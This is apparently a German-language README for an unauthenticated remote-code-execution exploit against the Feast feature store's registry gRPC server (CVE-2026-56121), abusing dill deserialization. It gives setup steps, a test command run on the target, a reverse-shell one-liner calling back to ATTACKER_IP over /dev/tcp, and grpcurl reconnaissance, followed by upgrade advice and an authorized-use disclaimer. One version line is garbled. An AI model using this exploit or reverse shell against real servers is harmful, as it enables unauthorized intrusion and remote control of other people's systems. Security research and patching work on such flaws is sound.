
Unauthentifizierter RCE-Exploit für den Feast Registry gRPC-Server (CVE-2026-56121) unter Verwendung von dill-Deserialisierung. Beinhaltet Payload-Generierung, Reverse-Shell-Unterstützung und Zielidentifikation über gRPC-Reflection.
Nicht authentifizierte Remote-Code-Ausführung im Registry-gRPC-Server des Feast Feature Stores.
Der ApplyFeatureView RPC rekonstruiert ein OnDemandFeatureView aus dem Request-Proto. Dabei wird spec.user_defined_function.body base64-dekodiert und an dill.loads() übergeben — vor jeglicher Autorisierungsprüfung. dill ist eine Obermenge von pickle, sodass ein Objekt, dessen __reduce__ (os.system, (cmd,)) zurückgibt, in dem Moment einen beliebigen Befehl ausführt, in dem der Server es deserialisiert. Die Standardbereitstellung liefert auth: no_auth, sodass eine einzige nicht authentifizierte gRPC-Anfrage an den Registry-Port ausreicht.
< 0.63.00.63.06570 (Registry gRPC)Der Exploit verwendet die von Feast generierten gRPC-Protos wieder. Installieren Sie daher ein verwundbares Feast auf der Angreiferseite:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# Schnelltest (Ausgabe erscheint auf dem SERVER, nicht lokal)
python3 exploit.py 10.10.10.10:6570 -c "id"
# Reverse Shell (bash -c Wrapper: os.system verwendet /bin/sh, dem /dev/tcp fehlt)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project legt den Projektnamen fest (Standard: feature_repo). Die Befehlsausgabe wird auf stdout/journal des Registry-Hosts ausgegeben. Verwenden Sie daher eine Reverse Shell oder schreiben Sie in einen lesbaren Pfad, um Ergebnisse zu beobachten.
Der Registry hat gRPC Reflection aktiviert:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Führen Sie ein Upgrade auf Feast 0.63.0+ durch, aktivieren Sie ein Auth-Backend, und setzen Sie den Registry-gRPC-Port niemals ungeschützten Netzwerken aus.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche Genehmigung haben.